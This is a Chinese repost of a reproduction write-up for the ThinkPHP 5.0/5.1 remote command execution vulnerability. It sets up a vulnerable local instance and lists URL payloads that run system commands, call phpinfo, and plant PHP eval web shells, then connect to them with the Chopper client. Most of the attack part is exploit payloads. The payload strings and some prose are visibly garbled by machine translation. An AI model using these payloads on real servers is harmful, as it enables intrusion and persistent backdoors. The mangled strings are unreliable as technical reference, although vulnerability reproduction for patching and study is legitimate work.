宝哥软件园

ThinkPHP 5.x远程命令执行漏洞再次出现

编辑:宝哥软件园 来源:互联网 时间:2021-08-20

一、漏洞描述

2018年12月10日,ThinkPHP正式发布安全更新,修复了ThinkPHP5框架的一个高风险漏洞:

https://blog.thinkphp.cn/869075

造成该漏洞的原因是框架没有检测到足够的控制器名称,这可能会导致在没有启用强制路由的情况下远程执行代码(默认未启用)。受影响的版本包括5.0和5.1。

其次,该漏洞会影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x=5.0.23

第三,漏洞再次出现

1.官网下载Thinkphp 5.0.22,下载地址为: http://www.thinkphp.cn/donate/download/id/1260.html

2.使用phpstudy搭建环境,将下载的Thinkphp5.0.22解压到网站目录,浏览器访问http://192 . 168 . 10 . 171/ThinkPhp 5 . 0 . 22/public

3.使用系统功能执行远程命令

有效载荷如下:

?s=index/think app/invokefunctionfunction=call _ user _ func _ arrayvars[0]=system vars[1][]=whoami

4.通过phpinfo函数查看phpinfo()的信息

有效载荷如下:

?s=index/think app/invokefunctionfunction=call _ user _ func _ arrayvars[0]=phpinfovars[1][]=1

5.写进壳里

有效载荷如下:

?s=/index/ think app/invokefunctionfunction=call _ user _ func _ arrayvars[0]=system vars[1][]=echo ^?PHP @ eval($ _ POST[cmd]);^shell.php

请注意,需要对特殊字符使用转义(cmd环境下的转义模式)。windows环境中的echo命令将字符串输出到没有引号(单引号和双引号)的文档中,有些字符可以不编码url进行编码。

6.检查外壳是否写成功。

7.菜刀连接

8.第二种写shell的方法

有效载荷如下:

?s=index/think app/invokefunctionfunction=call _ user _ func _ arrayvars[0]=file _ put _ contents vars[1][]=./test.phpvars[1][]=?PHP @ eval($ _ POST[test]);

9.检查文件是否写成功。

10.菜刀连接

摘要

以上是边肖介绍的ThinkPHP 5.x远程命令执行漏洞的重现,希望对大家有所帮助。如果你有任何问题,请给我留言,边肖会及时回复你。非常感谢您对我们网站的支持!如果你觉得这篇文章对你有帮助,请转载,请注明出处,谢谢!

更多资讯
游戏推荐
更多+